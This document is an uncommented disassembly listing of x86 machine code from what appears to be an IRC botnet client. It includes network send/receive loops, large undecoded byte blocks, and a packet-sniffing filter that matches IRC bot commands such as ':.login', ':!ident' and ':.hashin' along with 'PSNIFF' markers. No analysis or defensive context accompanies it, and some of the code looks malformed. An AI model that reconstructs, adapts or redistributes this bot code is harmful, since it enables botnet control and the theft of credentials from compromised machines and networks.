		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 27E76DE8h, 4D8B9002h, 34C969C8h, 3B000002h, 248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0E6BCE890h
		dd 0EDEB0227h, 27EF01E8h, 8D509002h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 31E85659h, 90022DE2h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22DE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2DE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022DE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h,	8D022DE0h
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 2DDFDFE8h, 689002h, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	81E89053h
		dd 0FF022DDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
		db 0DFh, 2Dh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 1FE80000h, 900227E2h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022DDDh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 0E158E800h, 0FF900227h
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 27E125E8h, 8D539002h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh, 858DFFFFh
		dd 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h, 0FF93B9E8h
		dd 1CC483FFh, 0D9E89053h, 8B022DDCh, 9F39087Dh,	2A0h, 27D840Fh
		dd 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh,	5E445C7h
		dd 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h, 0F78485C7h
		dd 1FFFFh, 9E80000h, 8300009Ch,	458D0CC4h, 8D5350E4h, 0FFF78485h
		dd 535053FFh, 0B9BC15FFh, 0C085004Ch, 2218E0Fh,	88A00000h
		dd 8B0043DBh, 888588CFh, 33FFFFFAh, 89BD8DC0h, 0C7FFFFFAh
		dd 10F445h, 0ABF30000h,	8DAAAB66h, 8D50F445h, 5350C445h
		dd 0FF30858Dh, 8068FFFFh, 50000000h, 0AC15FF56h, 0FF004CB9h
		dd 4589C875h, 6015FFF8h, 50004CBAh, 50B0458Dh, 9E8DE8h
		dd 309D3800h, 59FFFFFFh, 0AA850F59h, 80000001h,	0FFFF31BDh
		dd 850F01FFh, 0A3h, 0FD94858Dh,	0E850FFFFh, 95C0h, 75FF5353h
		dd 0B681E8FCh, 75FF0000h, 8C858DFCh, 88FFFFFAh,	0FFFA889Dh
		dd 8985C6FFh, 3FFFFFAh,	20068h,	50016A00h, 0FA8A9D88h
		dd 85C6FFFFh, 0FFFFFA8Bh, 96C0E801h, 0C4830000h, 0C44D8D20h
		dd 83F84589h, 75FF04C0h, 505351F4h, 0FA88858Dh,	5650FFFFh
		dd 0BA3815FFh, 9D39004Ch, 0FFFFFF28h, 8D532375h, 0FFF88885h
		dd 24B5FFFFh, 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h
		dd 73E7E8FFh, 0C483FFFFh, 88858D14h, 50FFFFF8h,	38A7E8h
		dd 10E95900h, 80000001h, 0FFFF31BDh, 850F04FFh,	0EDh, 0FF338D8Ah
		dd 858AFFFFh, 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh
		dd 3FFFFFAh, 0C0FE1275h, 8588C932h, 0FFFFFA8Ah,	0FA8B9D88h
		dd 0EEBFFFFh, 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh
		dd 0C9B60FC0h, 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h
		dd 0FC75FF50h, 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh
		dd 0E7E85001h, 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh
		dd 478D50F4h, 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h
		dd 75FB3B00h, 0B0458D6Eh, 88858D50h, 68FFFFF8h,	434798h
		dd 9D18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh,	858D5323h
		dd 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh
		dd 0FFFFFC8Ch, 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh
		dd 37B0h, 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh
		dd 68096A53h, 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh
		dd 0FFFFFD77h, 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh
		dd 8DFF0000h, 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h
		dd 0E8FFFFFEh, 0FFFF90FAh, 1DE85359h, 90022DDAh, 3E868h
		dd 0DE1CE800h, 57900227h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 27DD01E8h,	15FF9002h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 0E8006A59h, 22DD4A0h
		db 90h
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Dh, 69106AD0h,	234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	45E89056h
		dd 56022DD3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 2DD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2DD123E8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_412F4A
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
